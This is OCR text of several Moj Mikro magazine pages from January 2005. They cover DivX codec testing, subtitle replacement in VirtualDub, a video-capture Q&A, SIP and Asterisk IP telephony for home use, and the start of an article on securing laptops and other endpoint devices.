gibanje in kakšne so enobarvne ploskve. Opazke si zapišite. In tako za vsak filmček oziroma
kodek. Ko boste končali, boste dobili razmeroma dober seznam tega, kaj vaš predvajalnik
zmore. Ugotovili boste recimo, da je pri kodeku DivX5.x slika dobra, pri DivX3 malce motna, pri Xvid je gibanje odsekano in podobno.

Če ste recimo ugotovili, da je pri nekem filmu
gibanje tekoče in brez preskakovanja, slika pa
malce neostra, povečajte bitno hitrost kodiranja.
Ta je izražena v bitih ali kilobitih na sekundo
(B/s oziroma KB/s) in v bistvu pomeni, s koliko
biti se bo v povprečju opisala vsaka sekunda filma. Logika nam govori, da več kot je teh bitov,
boljša bo slika, saj bo v sebi nosila več informacij. To pa seveda pomeni tudi to, da bo datoteka
nekoliko večja. Torej – povečajte bitno hitrost
in ponovno kodirajte film. Seveda mu dajte tudi
novo ime, recimo DivX 5.x z 900 kbps.avi. Nato
mogoče spet dvignite bitno hitrost in ponovno
kodirajte. Tako boste dobili občutek, kako ta hitrost vpliva na kakovost filma.
Če ste opazili, da se je določen kodek res dobro odrezal, se s tem vsekakor ne zadovoljite.
Če vas res nič ni motilo, to še ne pomeni, da
je ta kodek s temi nastavitvami res to, s čimer
se vaš predvajalnik najbolje razume. Kaj pa velikost datoteke? Lahko se namreč zgodi, da so
privzete nastavitve takšne, da je rezultat čudovit, velikost datoteke pa tako velika, da boste
film le stežka spravili na en CD, lahko pa boste
imeli težave tudi s shranjevanjem na dva. Če je
bil film res dober, lahko zmanjšate bitno hitrost
in pogledate, kakšen je rezultat. Tudi tu lahko
naredite dva ali tri vzorce in zadevo shranite z
različnimi imeni.
Podobno je pri kodekih, kjer ste recimo
zasledili zelo odsekano gibanje. Velikokrat
je mogoče z nastavitvami napake omiliti
ali pa jih celo popolnoma odpraviti. Če ste
naleteli na tak film, preglejte nastavitve ko-

Primerjava kodekov s pomočjo testnih filmov postreže z zanimivimi rezultati, ki se včasih razlikujejo od splošno
sprejetih mnenj – kodek je toliko dober, kolikor dobro ga zna tolmačiti naš predvajalnik.
Manj zahtevni uporabniki boste zadovoljni
že s tem. Zahtevejšim pa to ne bo dovolj. Zanimalo vas bo recimo tudi to, s kakšno hitrostjo
naj bo film kodiran, da bo slika dovolj dobra,
datoteka pa ne prevelika. Če sodite mednje,
lahko postopek nadaljujete. Najprej z diska izbrišite vse testne filme, ki jih vaš predvajalnik
sploh ni prepoznal ali pa je z njimi imel velike
težave. Filme, kjer slika ni bila dovolj ostra ali
pa je bilo gibanje odsekano, zaenkrat še pustite. Vzemite v roke seznam opazk in se posvetite filmom, ki so ostali.

Pri vsakem predvajalniku boste
naleteli na kakšno datoteko, ki se prek
računalnika vidi ali sliši odlično, pri
predvajanju s predvajalnikom pa je zanič.
deka in poskusite najti izraze, kot so Motion
detection, Motion Compenstation in podobne, poleg tega pa se tudi tu lahko poigrate z
bitnimi hitrostmi. Pomembno je, da za vsak
testni film, ki ga izdelate, izvedete le eno
spremembo. Če jih namreč naredite več,

MOJ MIKRO 1 JANUAR 2005

81

V PRAKSI
izbira kodeka
ne boste vedeli, katera je tista, ki je težavo
odpravila, ali tista, ki je ustvarila novo. Seveda pri shranjevanju pazite, da boste dajali
ustrezna imena filmom, lahko pa si vse nastavitve tudi kam zapišete, da boste pozneje
lahko rekonstruirali najboljše nastavitve in
jih vedno uporabljali.
Pri tem povejmo še nekaj. Včasih se zgodi,
da imajo DivX-predvajalniki težave, če imamo
na DVD-mediju datoteke shranjene v mapah.
Zgodi se namreč, da je film, ki je v osnovnem
imeniku, čisto v redu, če pa je v mapi, pa ne.
Tudi to lastnost je mogoče s testnim DVD-jem
preveriti, saj je najmanjši problem filme spraviti v mapo. Morda ga izdelamo celo tako, da
izdelamo mape za vsak kodek posebej, vanje
pa shranimo filme z različnimi nastavitvami. S
tem bomo na eni strani testirali, kako se predvajalnik obnaša, če so datoteke v mapah, na
drugi strani pa bo medij preglednejši.
Vsekakor je jasno, da ugotavljanje, kate-

Ugotovite, kaj »leži« vašemu
predvajalniku in kaj ne � ena od
možnosti je testni CD oz. DVD z
različnimi zapisi.
ri kodek je pravi, ni ravno opravilo, ki bi ga
bilo mogoče opraviti v nekaj minutah. Sicer
pa – če predvajalnik, ki je pred letom stal petkrat več, postane tako poceni, je skoraj logično, da vse na njem ne bo delovalo tako, kot
si predstavljamo in želimo. Kot kupec bi si to
sicer želeli, a realno stanje je pač takšno, kot
je. Idealnega predvajalnika ni in ga verjetno
nikoli ne bo, zato se pač moramo sprijazniti z
nekaterimi kompromisi in se tudi pripraviti na
to, da bo treba za prave filmske užitke kupiti
ali si sposoditi originalen DVD ali pa biti pripravljen na kolobocije.



82

MOJ MIKRO 1 JANUAR 2005

Ups, napaka!

Vaš odziv na temo o DivX-filmih in teža- okno s filmom, poleg katerega bo okence s
vami z njimi je dober znak, da je to nekaj, koordinatami X in Y. Te koordinate pomenikar vas zelo zanima. Posebej so vas zanimale jo navpično in vodoravno os oziroma višino
težave s podnapisi in način, kako jih vstaviti in širino filma. Ker nas zanima višina, bomo
v film tako, da bo zadeva gledljiva ne glede spreminjali koordinate Y. Vrednost Y1 pomena to, katere podnapise predvajalnik podpi- ni obrezovanje od vrha proti dnu, Y2 pa od
ra. O tem smo govorili v oktobrski
številki Mojega mikra in očitno
ste se zadeve resno lotili. Kako to
vemo? Po tem, da nam že pišete o
prvih težavah. Najpogostejša je ta,
da ste naredili vse tako, kot je treba
– podnapisi so pravilno sinhronizirani, slika je formata 4:3, podnapisi
pa se lepo prikazujejo v črnem traku pod njo. A težava je v tem, kako
te podnapise zamenjati. Ko ste film
naredili, so bili podnapisi srbohrvaški ali pa v slovenščini, ki je bila
vse prej kot berljiva. Zdaj ste našli
nove podnapise, ki so super, a originalnega filma več nimate, imate le
tistega, v katerega so podnapisi že
»vgravirani«. Ali obstaja možnost Funkcija Null Transform programa VirtualDub skriva možnost
zamenjave podnapisov?
obrezovanja filma.
Seveda obstaja, a z nekaterimi
omejitvami. Če so podnapisi v celoti v črnem dna navzgor.
traku pod sliko, jih je mogoče zamenjati, če
Vrednosti ni treba postavljati na pamet, saj
pa so na sliki, pa ne. Rešitev je namreč v tem, s pritiskom na gumbke za spreminjanje vidida sliko obrežemo tako, da črni trak odstrani- mo, za koliko bo film obrezan. Ker pa je na
mo, nato pa ponovimo postopek vstavljanja. začetku filma običajno prazna slika, se moČe so podnapisi v sliki, jih seveda ne gre od- ramo postaviti nekoliko naprej, toliko da se
straniti.
prikaže prva slika. Ko določimo, za koliko naj
Imamo torej film, kjer so podnapisi v črnem se slika obreže, nastavitev shranimo, nato pa
traku oziroma razširjenem okvirju filma. Ta še datoteko.
trak zgoraj in spodaj
bomo odrezali, nato
pa postavili nov
okvir in vanj dali
nove podnapise. In
katero orodje bomo
uporabili? Uganili
ste, VirtualDub.
Logičen postopek
bi bil, da v VirtualDubu
odpremo
film in med filtri
poiščemo kakšnega,
ki se bi mu reklo
Če imamo okoli filma črn okvir, v katerem so podnapisi, je takšne podnapise
Crop ali kaj podomogoče zamenjati – okvir odrežemo in ga zamenjamo z novim, ki mu dodamo
bnega. A ga boste
nove podnapise.
zastonj iskali. Lump
se namreč skriva. In to v filtru, imenovanem
Ko bo film shranjen, moramo ponoviti
Null transform. Ta pravzaprav ne počne nič- postopek vstavljanja podnapisov, kot smo
esar pametnega, je pa res, da se v njem skriva ga opisali pred dvema mesecema. Pri tem je
možnost obrezovanja velikosti filmskega ok- pomembno, da tako pri shranjevanju filma
virja. Odpremo torej film, za zvok izberemo kot pri ponovnem vstavljanju podnapisov, ne
neposredno kopiranje, saj zvoka ne bomo zmanjšujemo bitne hitrosti, saj to lahko vpliobdelovali, v meniju Video pa izberemo Full va na kakovost filma. Nastavitve naj bodo
processing mode. Nato izberemo Video/Fil- torej enake kot v originalu.
ters, pritisnemo gumb Add in poiščemo filter
Null transform. Ob dvakratnem kliku nanj se
bo odprlo okno, kjer bo tudi gumb z imenom

Cropping. Če ga pritisnete, se bo odprlo novo

Vprašanje: Želim zajeti video iz videorekorderja. S prenosom
videa je sicer vse vredu, vendar se mi pri zajemu in
poznejšem predvajanju poznajo na videu črte in avdio dobi
»brum«. Kaj lahko naredim, da se zajeti posnetek izboljša
oz. slika očisti črt, iz avdio signala pa izgine »brum«?
Uporabljam program je Pinnacle Studio 9, naprava pa je
Dazzle 120. Hvala!
Odgovor: Moteči »brum« nastane zaradi različnih napetostnih
Odgovarja:
potencialov na masi. Običajno je to 50 Hz šuma. Če je
Andrej Žlindra,
intenziteta 50 Hz šuma zelo močna, se ta lahko prenaša
ZAK, d.o.o., Ljubljana
tudi na sliko.
Dve stvari sta lahko narobe: PC ima lahko slabo ozemljitev ali pa
je videorekorder v okvari. DVC 120 ima enosmerno napajanje. Možnost, da je ena od
usmerjevalnih diod »prebita« in s tem ne usmerja več pravilno, sicer obstaja, je pa
malo verjetna, saj v tem primeru tudi DVC120 ne deluje več. Poskusite z zamenjavo
220 V faze pri računalniku. To pomeni, da obrnete 220 V vtič ali preklopite na drug
220 V vtič, ki ima drugo fazo ali je »drugače« ozemljen. Napaka je lahko tudi zaradi
slabega napajalnika v PC-ju ter povezave med 220 V ozemljitvijo in posameznimi
komponentami v PC-ju. Prosim, upoštevajte, da je lahko delo z 220V smrtno
nevarno.

NOVOSTI V RAZLIČICI PROGRAMA STUDIO 9 PLUS

Pinnacle Systems je prej kot pričakovano izdal novo različico programa Studio 9.
Že na prvi pogled je opazna sprememba na časovnem traku (Time-line), kjer sta
dodanani še ena videosteza in avdiosteza. Ta novost nam zdaj omogoča izdelavo
slike v sliki (PIP) in tako imenovani barvnostni ključ ali učinek Chroma Key.
Pravilna uporaba učinka Chroma Key
Kot že omenjeno, za to potrebujemo dve enakovredni video stezi in ustrezen video material.
Najlaže bomo ustrezni in kakovostni rezultat dosegli, če imamo npr. osebo, posneto
pred enobarvnim platnom ali drugim ozadjem. Pri tem moramo paziti, da se barva ozadja
ne pojavlja tudi v osebi sami ali na oblačilih. Oseba se seveda lahko prosto giblje

po kadru. Montaže se lotimo tako, da kader osnovnega videa, to je ozadje, ki se bo
pozneje pokazalo za osebo, postavimo na zgornjo stezo (točka 1). Osebo, posneto
pred platnom, pa na spodnjo stezo (točka 2). V naslednjem koraku odpremo
z miško levo stran kovčka (točka 3), zamenja se nam album, v katerem zdaj
najdemo na spodnjem zavihku različne učinke, med drugim tudi Chroma Key (točka
4). Za izolacijo določene barve, v tem primeru barve platna, uporabimo Color-picker
(miškin kazalec dobi drugo obliko) ter s tem označimo barvo platna (Točka 5). To
naredimo v predoglednem oknu na desni. V tem trenutku program Studio že zazna
pravilne barvne nastavitve in takoj pokaže rezultat – osebo pred novim ozadjem, tistim ki je
na zgornji stezi. Seveda lahko zdaj uporabimo še dodatne nastavitve, s katerim lahko
izboljšamo rezultat.
Po istem postopku, le,
da ne uporabimo ukaza
za učinek Chroma Key,
naredimo tudi sliko v sliki.
Za oba primera pa velja
možnost dela z »živim«
videom.
Nazadnje pa je tu še
ena novost, ki se ji
pravi Pan&Zoom. Ti dve
možnosti nam še kako
prideta prav, kadar
želimo statične slike (fotografije) uporabiti v videu, jih umestiti na določeno mesto.
Ali upravljati s fotografijami tako, da jih približamo ali oddaljimo.
Novih možnosti v programu Studio 9 plus je sicer še veliko več, vendar so tudi
»zaklenjene«. To pomeni, da je za uporabo potrebno aktiviranje prek interneta, ki pa žal
ni brezplačno. Tu se je v preteklem mesecu nabralo veliko vprašanj, ali bi bilo možno
ta postopek opraviti tudi v Sloveniji. Zaenkrat lahko rečem, da se z Pinnaclom
dogovarjamo o odkupu nekaterih najpogosteje zaželenih aktivacijskih ključev, ki jih bo
potem mogoče kupiti pri nas brez poslovanja s kreditnimi karticami prek interneta.

MOJ MIKRO 1 JANUAR 2005

83

propagandna informacija

DOMAČI VIDEO STUDIO - VPRAŠANJA IN ODGOVORI

V PRAKSI
sam svoj mojster: mala šola IP-telefonije (4. del)

DOMAČA »UBIJALSKA« REŠITEV
Verjetno je marsikdo med bralci že slišal za tako imenovane »ubijalske
aplikacije« (killer application). V svetu računalništva je to program oz. izdelek,
ki ga zaradi uporabnosti ljudje kupujejo kot vroče žemljice, ali pa kupijo osebni
računalnik zaradi uporabe tovrstnih programov. Nedvomno se takšen sloves
obeta tudi IP-telefoniji za domačo rabo ...

kot danes recimo Skype) – večina teh pa danes
ne obstaja več ali so se preoblikovali. Eden od
razlogov je tudi ta, da vse več javnih servisov
podpira protokol SIP, naklonjeni pa so mu tudi
pri Microsoftu (Messenger), kjer NetMeeting
oziroma H.323 bolj ali manj tiho izrivajo. Pozabiti ne smemo niti na pomen SIP-a v mobilnih
omrežjih tretje generacije.

Še bolj kot
kakovost, stabilnost
in preprostost
uporabe je
pomembna varnost,
še zlasti če gremo v
lastne VoIP-rešitve
s premalo znanja
in omogočimo
povezovanje z
javnim omrežjem.

Piše : Evan Ambrož
evan.ambroz@email.si

I

z preteklosti in v sedanjosti poznamo kar
nekaj takšnih programov in izdelkov na
različnih področjih – urejevalnik besedil,
elektronska tabela Lotus 1-2-3, okolje
Windows, GSM-telefon, pošiljanje SMS-sporočil, identifikacija klicočega oz. klicne številke v ISDN-u, zapis MP3 ... Če se omejimo
le na področje svetovnega spleta, gotovo ne
moremo mimo deskanja po spletnih straneh in
elektronske pošte.
V vsebine se ne bomo podrobneje spuščali,
splošno znano pa je, da večji del moške populacije rad pogleda lepo zaobljeno zadnjico ali
bogato oprsje. Največkrat pa se zgodi, da velik
uspeh določene storitve ni posledica globokih
strateških odločitev, temveč je bil izdelek razvit kot plod iskanja svojega mesta pod soncem
v določeni tržni niši. Čeprav je napovedovanje
prihodnosti izredno nehvaležno delo, lahko z
veliko gotovostjo trdim, da je prenos govora
po internetu ali VoIP obsojen, da bo prej ali
slej v eni od svojih oblik postal tovrstna aplikacija (v določeni meri je že danes).
Doslej smo lahko spoznali osnovne značilnosti VoIP-a. Zaradi čim lažjega razumevanja
smo nekatera dejstva poskušali čim bolj poenostaviti. Obdelane rešitve pa so v stvarnem
življenju popolnoma uporabne. Da ne bi prišlo
do mešanja različnih pojmov, smo se nekoliko
bolj usmerili na protokol H.323, danes pa si
bomo pobližje ogledali protokol SIP (Session
Initiation Protocol).

ZAKAJ ZANIMANJE ZA SIP?

Namestniški SIP-strežnik Ondo � okno stanja

SIP � ROJSTVO NA PRAGU TISOČLETJA

Začetki SIP-a segajo v leto 1995, se pravi v
čas, ko je imel protokol H.323 prednost (prvim
praktičnim izvedbam SIP-a smo bili priča v letu
2001). Nekako v tem času so pri podjetju Microsoft predstavili prvo različico komunikacijskega programa NetMeeting (uporablja H.323)
kot del okolja Windows. Marsikdo si s tem programom v tem času ni mogel prav veliko pomagati − sem in tja morda kak klic v krajevnem omrežju prek IP-naslovov ter priložnostna
konferenca prek spletne kamere. Razlog je bil,
da ni bilo na voljo ustreznih (za povprečnega
uporabnika cenovno dostopnih) H.323 prehodov (gateway) oziroma vratarjev (gatekeeper).
Ironija je, da so takratno »smetano« zanimanja pobirali najrazličnejši servisi (strežniki), ki
so omogočali internetno telefonijo (podobno

84

MOJ MIKRO 1 JANUAR 2005

Namestniški SIP-strežnik Ondo � trenutno aktivne
zveze ter programski telefon X-ten

Snom 200 sodi
med referenčne
IP-telefone za SIP
oziroma Asterisk

Površen opazovalec bi lahko hitro ugotovil,
da je razlog pač internetno okolje oz. IETF,
ki je zaslužno za razvoj protokola SIP. Razlogi
pa so globlji, saj gre za določene konceptualne razlike (običajnemu uporabniku skrite), ki
jih prinaša glede na H.323. SIP je razmeroma
primitiven protokol, ki pozna nekaj operacij:
vzpostavitev zveze (session setup), konec zveze
(termination) ter obveščanje o spremembi stanja (changes). SIP je besedilno usmerjen protokol, ki ni omejen le na prenos govora oziroma telefonijo in je primeren za aplikacije z
večjim številom sej. SIP podpira komunikacijo
med končnimi točkami (end to end) in podpira komunikacijo v smislu odjemalec−strežnik
ter zagotavlja ustrezno signalizacijo. Prednost
protokola SIP je podpora mobilnosti in prisotnosti, zato lahko terminalno opremo preprosteje prenašamo med različnimi omrežji. SIP ni
transportni protokol in ne podpira zagotavljanja kakovosti storitev.
V omrežjih SIP lahko zasledimo več gradnikov: uporabnik (SIP User Agent) je lahko
končna naprava (telefon) ali strežnik (ki skrbi
za dohodne klice). Namestniški strežnik (SIP
Proxy Server) posreduje signalizacijo in lahko
deluje kot odjemalec ali strežnik. Preusmerjevalni strežnik (SIP Redirect Server) skrbi za
preusmerjanje klicev na druge strežnike, registrator (SIP Registrar) pa skrbi za registracijo
(prijavo) uporabnikov, podobno kot Home
Location Register (HLR) v GSM-omrežju.

V PRAKSI

Iz opisa elementov SIP lahko vidimo, da
podobno kot v okolju H.323 vseh elementov
za testiranje oz. govorno povezavo ne potre-

NASVETI IN ZANIMIVOSTI
Možnosti za »ubijalske rešitve«

IP-omrežje ima velike potenciale za »ubijalske rešitve«. Naj naštejemo le nekatere, ki
se tako ali drugače prepletajo z VoIP-om: navidezna resničnost, spletni IVR (Interactive
Voice Response), imeniške storitve, neposredno sporočanje, prednastavljeni klici ter
konference iz koledarja, Unified Messaging
(voice2email) ...

Prednosti porazdeljenega omrežja

Sodobna omrežja prinašajo tako imenovano
porazdeljenost (distribuiranost). Inteligenca
ni več le v določenih delih omrežja, temveč
se prenaša tudi v končne naprave (višja cena
naprav ni več problematična). V določenih
primerih se vloga omarežja celo zmanjšuje,
saj končne naprave lahko komunicirajo med
seboj, omrežje pa skrbi le za usmerjanje in
informacijo o stanjih. Tako dosežemo večjo
prožnost (preprosto vpeljavo novih storitev
v omrežje), manjša obremenitev omogoča
večjo stopnjevanost (skalabilnost), hkrati pa
zaradi manjšega števila kritičnih dejavnikov
(če določena storitev ne teče, tudi ne more
zatajiti) dosežemo večjo zanesljivost.

Nekaj primerjav med protokoloma
Izvor
Transport
Uporaba

H.323
ITU
večinoma TCP
(video)telefonija

Arhitektura
sklad
Kompleksnost večja
Sporočila
binarna
Razhroščevanje kompleksno
Storitve
Združljivost

interakcija
protokolov
enake različice
H.323

SIP
ETF
večinoma UDP
multimedijske
aplikacije, multicast
element
manjša
besedilo (podprt
Unicode)
preprosta orodja
(npr. tcpdump)
gnezdenje v polje
glave
elementi v neznanih
poljih so prezrti

bujemo. Za začetek bo zadoščal že namestniški SIP-strežnik, pozneje pa bomo videli, da
lahko v eni napravi združimo tudi več funkcionalnosti.
Ker nikakor ne morem iz svoje kože, zopet
poglejmo po brezplačnih izdelkih (programski

Gastman je zabaven in uporaben vmesnik za Asterisk

Ločevanje ravni

Ključnega pomena je, da v IP-omrežjih
ločimo transportno raven od ravni programov oziroma storitev. Zato je mogoč dostop
do storitev prek kateregakoli operaterja, vsak
lahko postane operater, preprosta pa je tudi
vpeljava storitev v omrežje …

Namenski odjemalci

Jasni pokazatelj potenciala VoIP je tudi ta,
da izginjajo »univerzalni« VoIP-odjemalci, ki
jih pogosto nadomestijo posebni, namenjeni
uporabi v določenem strežniku oz. pri določenih operaterjih.

Brezvrvični telefoni

Svet običajne telefonije si je težko predstavljati brez brezvrvičnih telefonov. V svetu
VoIP-a pa ti delajo prve korake in niso prav
pogosti (še zlasti v okolju H.323). Ena vrsta
telefonov uporablja za dostop do IP-omrežja
dostopne točke WLAN (npr. 802.11b), druga pa na brezvrvičnem delu uporablja vmesni DECT (gre torej za »klasični sistem«, ki
omogoča priklop v ethernetno omrežje).

Dlančnik kot IP-telefon

Dlančnik z možnostjo dostopa do IPomrežja lahko uporabimo kot priložnostni
VoIP-telefon. Na voljo so različni paketi s
podporo okoljem (H.323, SIP, SCCP (Skinny Call Control Protocol, Skype). Žal pa se
hitro pokažejo določene pomanjkljivosti,
kot sta slaba akustika (potrebne so dodane
slušalke) in slaba avtonomija (večja poraba
energije kot pri telefonih – potrebno je pogostejše polnjenje akumulatorjev). Te slabosti
pa lahko odtehta večji zaslon ter s tem povezana možnost uporabe dodatnih aplikacij.
Je pa dlančnik, podprt s programsko opremo
VoIP, kot nalašč za popotnike. Ne spomnim
se, kdaj sem zadnjič iz tujine uporabljal mobilni telefon!
del !). V našem primeru bomo posegli po že
uporabljenem IP-telefonu IP10S (SwissVoice), ki mu bomo naložili programsko opremo
za SIP, ter programskem telefonu (softphone)
X-Lite. Kljub kopici drugih brezplačnih programskih IP-telefonov lahko rečem, da gre
nesporno za eno najboljših tovrstnih aplikacij,
ki obstaja v brezplačni in komercialni različici
(www.xten.com/). Ostane nam le še namestniški strežnik SIP. Za okolje Windows je na voljo
SIP-strežnik OnDO, ki ga lahko za nekomercialno rabo in izobraževalne namene dobite na
spletni strani www.brekeke.com/en/download/
sipserver_type_en.html. Poleg paketa potrebujete v računalniku, ki ga želite uporabiti za
strežnik, tudi javo (različica 1.4 ali novejša).
Po namestitvi SIP-strežnika dostopamo do
njega prek spletnega brskalnika (privzeto
geslo in uporabniško ime sta »sa«). Osnovne
parametre strežnika lahko ugotovimo iz menija Status. Uporabnike lahko dodamo v meMOJ MIKRO 1 JANUAR 2005

85

V PRAKSI
sam svoj mojster: mala šola IP-telefonije (4. del)
niju Authentication. To storimo z vnosom v
polje za uporabniško ime in geslo, že registrirane uporabnike pa lahko izpišemo z ukazom
za iskanje (brez imena – prazno polje). Registrirane uporabnike v sistemu lahko vidimo v
meniju Registred, morebitno aktivnost zvez pa
v meniju za Sessions. Če ste se pozorno brali
članke v preteklih številkah, ste verjetno tudi
sami ugotovili, da je zadeva sumljivo podobna
občutku in ter informacijam, ki jih dobimo pri
vratarju H.323. Če imate na voljo več strojne
opreme, se lahko poigrate tudi z nastavitvami
usmerjanja (meni Dial Plan). Če boste zašli v
slepo ulico, vam svetujem, da si pomagate s
solidno in ne preobširno dokumentacijo, ki jo
lahko dobite na http://www.brekeke.com/en/
download/idx_doc_sipserver_en.html
Tako kot smo v svetu Linuxa že malodane
vajeni, lahko dobimo tudi brezplačen paket
z želeno funkcionalnostjo SIP. Omenimo le
SIP Express Router (SER) – brezplačni SIPstrežnik, ki lahko deluje kot SIP-registrator,
namestniški ali preusmerjevalni strežnik in ga
lahko uporabimo v najrazličnejših aplikacijah
(domača pisarna, zamenjava obstoječe hišne
centrale ali celo v operaterske namene). Krajši
opis možnosti najdete na http://www.iptel.org/
ser/doc/ser.pdf. Za resnejše delo pa se je treba
poglobiti v priročnik, kar pa presega okvire, ki
so nam na voljo.

ASTERISK, KI NI GALSKI ASTERIX

Vsi, ki se v svetu komunikacij ukvarjajo z
VoIP-om, ne morejo mimo še enega projekta
odprte kode. Ambicija vseh, ki se ukvarjajo z
razvojem Asteriska (http://www.asterisk.org)
je »izdelek«, ki bi na področju VoIP-a pomenil to, kar je na področju spletnih strežnikov
Apache. Projekt je zanimiv iz več razlogov.
Programska oprema je na voljo brezplačno in
ne zahteva posebne strojne opreme. Za osnovno postavitev (testiranje IP-dela) vmesniških

86

MOJ MIKRO 1 JANUAR 2005

Pogled na trenutno zasedenost enega od slovenskih
strežnikov TeamSpeak
kartic (FXO, FXS, BRI) ne potrebujemo. Če
želimo sistem Asterisk priključiti v običajno
omrežje oz. telefonsko centralo, lahko storimo
to že z ISDN-kartico (ISDN-modemom) za le
nekaj tisočakov. Drug razlog, ki govori v prid
Asterisku, je široka podpora projektu. Na voljo so solidna dokumentacija, veliko zgledov
nastavitev ter dejavnosti v forumih. Sistem
modularne zgradbe vmesnikov omogoča nadgradnjo lastnih aplikacij in razširitev. Asterisk
lahko uporabimo tudi v vlogi namenskega programa (npr. star računalnik lahko spremenimo

v sistem govorne pošte v obstoječi telefonski
centrali ali v samodejnega posredovalca na
podlagi tonov DTMF). Asterisk tudi ni omejen le na protokol SIP, saj je lahko z ustreznimi
popravki (patch) uporaben tudi v povezavi z
okoljem H.323.
Želite poskusiti? Prva ovira ... Linux. Če sodite med uporabnike, ki imajo Linux nameščen,
ni pa vam pri srcu prevajanje, lahko poskusite z
namestitvijo paketov rpm. Pakete za distribuciji RedHat in Fedoro dobite na strani ftp://ftp.
linuxsys.com/pub/LSE/packages/. Namestiti je
treba vse datoteke za posamezno distribucijo
(Asterisk, Modules ...). Če se boste odločali za
namestitev v računalnikih z drugimi distribucijami, si prej oglejte stran http://www.voipinfo.org/wiki-Asterisk+OS+Platforms. Na tej
strani pa lahko vidimo, da Asterisk ni na voljo
samo za Linux, temveč (z omejeno funkcionalnostjo) tudi za druge operacijske sisteme
(FreeBSD, OpenBSD, Mac OS X, Solaris,
Windows) ter na CD-ju z živo/namestitveno
distribucijo. Različica za Windows (AstWind)
deluje dejansko prek coLinuxa (Cooperative
Linux), ki je vrata Linuxovega jedra in omogoča izvajanje Linuxovih programov v okolju Windows brez komercialnih izdelkov tipa
VMware. Celotna namestitev (ftp://ftp.nacs.
net/asterisk/astwind; približno 120 MB) vsebuje coLinux, WinPcap, »datotečni sistem«
Debian in prednastavljene konfiguracijske datoteke. Z nekaj truda pa lahko shranite celoten
paket (Linux) tudi na pomnilnik CompactFlash ali USB-ključ. Iz praktičnih izkušenj lahko rečem: tudi za Asterisk velja, da ni težava
postavitev sistema, temveč je »frajer« tisti, ki
zna sistem primerno nastaviti.

IGRAČKANJE

Prenos govora prek protokola IP pozna veliko igralcev omrežnih iger. Za tovrstne namene lahko uporabite javni strežnik ali, kar je še

V PRAKSI
nadnaslov
vabljivejše, postavite
svojega (tudi če vas
igralni del na zanima!). Med kopico
možnostmi omenimo
le nekatere najbolj
priljubljene:
Microsoft SideWinder
( w w w. g a m e v o i c e .
com), TeamSpeak
2 (www.goteamspeak.com),
Ventrilo
(www.ventrilo.com)
... Vsi navedeni strežniki in odjemalci so
na voljo brezplačno,
meni pa je najljubši
TeamSpeak.
TeamSpeak ponuja
širok nabor možnosti, na uporabniškem
in strežniškem delu
pa podpira okolje
Windows oziroma Linux. Računalniku z nameščenim Linuxom, ki tako ali tako ves čas
deluje v vlogi ADSL-usmerjevalnika/požarnega zidu, lahko dodamo še »paket« za strežnik
TeamSpeak in omogočimo uporabnikom (z
odjemalci Windows/Linux) preprosto komunikacijo. Ker komunikacija poteka neposredno
med uporabniki, je dodatna obremenitev sistema zanemarljiva. Namestitev strežnikov ni
problematična, saj za delovanje (upravljanje,
komunikacija) potrebujemo le majhno število
vrat. Pazljivi pa moramo biti glede pravic/uporabnika, ki zaganja strežnik. Vsak strežnik pomeni namreč določeno tveganje, saj se lahko
prek njega kdo polasti vašega sistema. V premislek: namestili smo strežnik TeamSpeak, zavestno pustili odprta vrata in s tem omogočili
uporabo strežnika tudi iz interneta, IP-naslova
strežnika pa nismo javno objavili. Kaj mislite,
kako dolgo je trajalo, da je prva »muha« prišla
tja, kamor naj ne bi? Po dveh dneh sta prek
strežnika že komunicirala fanta z gorenjskim
naglasom, seveda o temi, ki z igrami ni imela
nič skupnega.

Za dlančnike je na voljo
precej programske
opreme za VoIP

ZA KONEC

Iz tega se lahko naučimo marsikaj ! Celo bolj
kot kakovost, stabilnost in preprostost uporabe je pomembna varnost, še zlasti če gremo v
lastne VoIP-rešitve s premalo znanja in omogočimo povezovanje z javnim omrežjem. V
nasprotnem primeru se lahko hitro zgodi, da
boste morali plačati tuje račune (in to morda
sploh ne majhne!). Sicer pa, tehnološka revolucija se dogaja – pridružite se ji.



MOJ MIKRO 1 JANUAR 2005

87

V PRAKSI
varnost

VAROVANJE KONČNIH
NAPRAV V OMREŽJU

Dosedanja varnostna politika v računalniških omrežjih se je v glavnem
ukvarjala s preprečevanjem fizičnega dostopa do aktivne omrežne opreme z
zagotavljanjem redundantnih povezav in napajanja ter z aktivnimi požarnimi
zidovi ali celo sistemi za zaznavanjem poskusov vdorov. Zakaj danes to pogosto
ne zadošča in kakšni so trendi?

bilo opravljeno celotno virusno preiskovanje
računalnika manj kot pred nekaj nekaj dnevi,
da je protivirusna zaščita aktivna, da je aktivna
požarna pregrada ...

CISCO

Eden izmed prvih, ki je tako celovito programsko rešitev tega razreda zelo glasno oziroma s
podporo marketinga v velikem številu porinil na
trg, je podjetje Cisco. Program Cisco Security
Agent (CSA) ter napredna različica Advanced
CSA sta sicer nastala iz programa StormWatch
podjetja Okena, ki ga je Cisco kupil predlani.
Izdelek zagotavlja zaščito pred nevarnostmi,

Piše : Jaka Mele
jaka.mele@mojmikro.si

V

se zgoraj omenjeno je sicer z usklajenim
medsebojnim delovanjem in utečeno
varnostno politiko organizacije delovalo
in ponujalo tudi visoko stopnjo zaščite.
Vendar pa se je težava pojavila drugje. Uporabniki, ki so del takega omrežja, danes v vse večji
meri uporabljajo prenosne računalnike, s katerimi se povezujejo tako v intranet kot v internet, mnogokrat tudi prek omrežij sumljivega
porekla, kot so lahko javne vroče točke wi-fi
po letališčih, hotelih, doma, pri znancih ...
Širjenje črvov in drugih nevarnih programov je za sistem Windows še posebej nevarno,
saj veliko nepridipravov izkorišča že znane luknje v sistemu, luknje, za katere so že nekaj časa
na voljo tudi varnostni popravki. Če uporabnik
teh lukenj ne zakrpa, se računalnik v javnih
omrežjih hitro okuži. Po eni izmed študij računalnik s svežo namestitvijo sistema Windows v
internetu zdrži približno 20 minut, preden se
okuži s katerim izmed virusov ali črvov.

Življenjski cikel običajnega
omrežnega napada

ZGLED NEVARNOSTI

Poglejmo zgled, kjer se poslovni uporabnik,
ki ima v podjetju dostop v krajevno omrežje,
varovano z omejitvijo na fizični (MAC) naslov omrežnega vmesnika v njegovem prenosniku, odpravi na daljšo poslovno pot. Tam
med delom na terenu nima časa ali možnosti
nadgrajevati varnostnih popravkov za sistem
ali pa protivirusnih knjižnic (nadgradnje so
morda izvedene lokalno prek strežnikov v domačem poslovnem omrežju). Po nekaj tednih
take, od domačega omrežja odrezane uporabe,
protivirusni program v prenosnem računalniku
ne zazna več novih, pred nekaj dnevi nastalih
virusov ali črvov, ki izkoriščajo novo odkrite
